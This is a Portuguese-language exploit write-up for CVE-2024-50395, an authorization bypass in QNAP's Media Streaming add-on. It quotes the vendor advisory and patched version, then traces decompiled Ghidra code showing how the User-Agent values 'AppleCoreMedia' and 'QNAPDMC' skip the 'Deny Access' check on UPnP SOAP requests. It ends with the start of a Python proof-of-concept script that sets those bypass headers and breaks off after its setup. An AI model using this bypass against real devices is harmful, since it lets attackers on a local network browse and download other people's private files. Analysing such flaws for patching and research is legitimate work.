
Exploit em Python para CVE-2024-50395, um bypass de autorização no add-on Media Streaming da QNAP. Usa cabeçalhos User-Agent maliciosos para contornar a autenticação e navegar/baixar arquivos de mídia via solicitações SOAP UPnP.
Foi relatada uma vulnerabilidade de bypass de autorização por meio de chave controlada pelo usuário que afeta o complemento Media Streaming. Se explorada, a vulnerabilidade pode permitir que atacantes da rede local obtenham privilégios. Já corrigimos a vulnerabilidade na seguinte versão: Media Streaming add-on 500.1.1.6 (2024/08/02) e posteriores.

A função FUN_001293f0 no Ghidra, que provavelmente é chamada de função ParseHttpHeaders no código-fonte original, analisa os dados do cabeçalho HTTP das requisições feitas pelo cliente.
Essa função também analisa o “User-Agent” e obtém seu valor.
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
Nesse momento, se o valor de “User-Agent” for “AppleCoreMedia”, os códigos abaixo são executados.
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
E então vai para LAB_00129aba1
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
Em seguida, os códigos abaixo são executados
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
Preste atenção no código uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;
Se o valor do User-Agent for “AppleCoreMedia”, esse código pode ser executado.
Portanto, a função FUN_001293f0 retorna o valor 0.
Essa função é chamada em FUN_001411f0, que atua como uma função de roteamento. Quando o valor de retorno é 0, a FUN_001411f0 não executa nenhuma função que envie o código de erro HTTP 401. (”Deny Access”)
(A função FUN_001411f0 provavelmente é chamada de ProcessHTTPSubscribe no código-fonte original.)
O Tipo de Cliente "QNAPDMC" é inicializado na função “InsertQNAPClientType”. (Essa função é chamada no main)
E nessa função, a variável g_QNAPDMCClientTypeId é inicializada.
Quando um cliente usa o método HTTP POST, a função principal de processamento é FUN_0012ee50.
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
Se o cabeçalho da requisição tiver “Soapaction”, a função ExecuteSoapAction é executada.
(o valor de *(long *)(param_1 + 0x10) foi definido em FUN_001293f0 )
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
Em ExecuteSoapAction, se (*(int *)(param_1 + 0x38) for igual a g_QNAPDMCClientTypeId, podemos contornar a autorização.
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
A variável (*(int *)(param_1 + 0x38) é inicializada em FUN_001293f0 usando o “User-Agent”.
Portanto, podemos contornar a autorização usando o cabeçalho de requisição “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)